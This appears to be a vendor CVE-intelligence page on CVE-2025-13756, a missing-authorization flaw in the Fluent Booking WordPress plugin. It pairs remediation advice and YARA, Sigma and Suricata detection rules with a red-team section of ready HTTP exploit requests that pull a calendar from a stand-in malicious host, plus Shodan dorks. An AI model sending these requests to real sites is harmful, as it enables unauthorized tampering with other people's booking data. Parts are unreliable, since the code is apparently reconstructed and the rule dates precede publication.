☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-13756

CVE-2025-13756 Missing Authorization in Fluent booking
📅 PUBLISHED: 2025-12-03 13:52 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-13756 is a Missing Authorization vulnerability in the Fluent Booking WordPress plugin (versions up to and including 1.9.11). The flaw resides in the importCalendar function, which lacks a proper capability check. This allows authenticated attackers with subscriber-level access or higher to import arbitrary calendars and manage them without authorization. The vulnerability has a CVSS score of 4.3 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code has been identified.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The Fluent Booking plugin is designed for appointment and booking management. The missing capability check in the importCalendar function exposes calendar data to unauthorized manipulation, potentially leading to data integrity issues and service disruption.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Subscriber-level)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the impact is limited to integrity (unauthorized calendar import/management), the low privileges required and network accessibility make it a viable target for authenticated attackers.

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization (CWE-862) issue. The importCalendar function in the Fluent Booking plugin is intended to allow administrators to import external calendars (e.g., iCal feeds) into the system. However, the function does not verify that the current user has the necessary capabilities (e.g., manage_options or edit_posts). As a result, any authenticated user, including subscribers, can call this function via AJAX or REST API endpoints.

Attack Flow:

  1. An attacker authenticates with subscriber-level credentials.
  2. The attacker crafts a request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=fluent_booking_import_calendar).
  3. The request includes parameters for the calendar source (URL or file).
  4. The plugin processes the import without checking user permissions.
  5. The attacker can import arbitrary calendars, potentially overwriting existing data or adding malicious entries.

Impact:

  • Unauthorized calendar import could lead to data integrity issues (e.g., fake appointments, altered schedules).
  • Management of imported calendars could allow attackers to delete or modify legitimate calendar data.
  • In a worst-case scenario, this could be chained with other vulnerabilities for privilege escalation or data exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.9.11):

// In class-fluent-booking-ajax.php or similar
public function importCalendar() {
    // No capability check
    $calendar_url = $_POST['calendar_url'];
    // Process import...
    $this->processImport($calendar_url);
}

Patched Code (Hypothetical):

public function importCalendar() {
    // Added capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $calendar_url = sanitize_text_field($_POST['calendar_url']);
    // Process import...
    $this->processImport($calendar_url);
}

Key Difference: The patched version adds a current_user_can('manage_options') check to restrict the function to administrators only.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • WordPress instance with Fluent Booking plugin <= 1.9.11
  • Valid subscriber-level credentials (e.g., username: attacker, password: password123)

Exploitation Steps:

  1. Log in as subscriber.
  2. Craft a POST request to the AJAX endpoint:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-wordpress-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_xxx=attacker_session

action=fluent_booking_import_calendar&calendar_url=https://malicious-server.com/evil.ics
  1. The plugin imports the calendar from the attacker-controlled URL.
  2. Verify by checking the calendar management interface.

Alternative via REST API:

POST /wp-json/fluent-booking/v1/import-calendar HTTP/1.1
Host: target-wordpress-site.com
Content-Type: application/json
Authorization: Bearer <subscriber_token>

{"calendar_url": "https://malicious-server.com/evil.ics"}

Blue Team (Defender)

Detection Steps:

  1. Monitor AJAX requests to admin-ajax.php with action fluent_booking_import_calendar from non-admin users.
  2. Check for unusual calendar import activity in logs.
  3. Review user role assignments for subscribers with unexpected capabilities.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" action=fluent_booking_import_calendar
| eval user_role=if(match(user_agent, "subscriber"), "subscriber", "unknown")
| where user_role="subscriber"
| table _time, src_ip, user, uri, status

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /wp-admin/admin-ajax.php with action=fluent_booking_import_calendar from non-admin users.
    • POST requests to /wp-json/fluent-booking/v1/import-calendar with subscriber tokens.
  • File System:
    • Unexpected .ics files in the WordPress uploads directory.
    • Modified database entries in wp_fluent_booking_calendars table.
  • Logs:
    • WordPress debug log entries showing importCalendar calls from subscriber roles.
    • Web server logs with 200 responses to the vulnerable endpoint from low-privilege users.

Detection Engineering

YARA Rule

rule Detect_Fluent_Booking_Import_Calendar_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-13756 in Fluent Booking plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13756"
    strings:
        $ajax_action = "fluent_booking_import_calendar"
        $rest_route = "fluent-booking/v1/import-calendar"
        $ics_url = /https?:\/\/[^\s]+\.ics/
    condition:
        any of ($ajax_action, $rest_route) and $ics_url
}

Sigma Rule

title: Fluent Booking Calendar Import Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized calendar import attempts via Fluent Booking plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=fluent_booking_import_calendar'
            - 'fluent-booking/v1/import-calendar'
    condition: selection
falsepositives:
    - Legitimate admin calendar imports
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-13756 - Fluent Booking Calendar Import Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=fluent_booking_import_calendar"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Update Plugin: If a patched version becomes available, update Fluent Booking to the latest version immediately.
  2. Disable Plugin: If no patch is available, consider disabling the plugin until a fix is released.
  3. Restrict User Roles: Remove subscriber-level access from untrusted users. Use a plugin like "User Role Editor" to limit capabilities.

Long-term Mitigations:

  1. Web Application Firewall (WAF): Deploy rules to block requests to the vulnerable endpoint from non-admin users.
  2. Code Review: Implement capability checks in all AJAX and REST API handlers.
  3. Monitoring: Enable logging for all plugin AJAX actions and monitor for suspicious activity.

Workaround:

  • Add a custom capability check via a WordPress filter:
add_action('wp_ajax_fluent_booking_import_calendar', function() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
}, 1);

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Fluent Booking"
http.html:"fluent-booking"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-13756/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.